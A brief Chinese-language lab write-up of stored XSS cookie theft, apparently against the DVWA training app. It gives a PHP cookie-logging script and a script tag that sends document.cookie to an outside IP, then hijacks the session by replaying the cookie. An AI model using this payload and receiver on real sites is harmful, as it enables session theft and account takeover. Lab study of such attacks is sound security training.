1，準備接收cookie的環境：

ip為172.24.10.105

代碼為：保存為 getCookie.php

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
echo "攻擊成功";
?>

2,在實驗環境插入js代碼：

<script>document.location='http://172.24.10.105/getCookie.php?cookie='+document.cookie;</script>

通過審查元素把限制取消，然後插入js代碼

然後重新訪問這個頁面發現進行了跳轉

並在接收cookie的平臺看到了cookie

換一個瀏覽器設置cookie

直接訪問：

http://127.0.0.1/DVWA/

無需密碼登錄成功

歡迎關註微信公眾號

存儲型xss盜取cookie實驗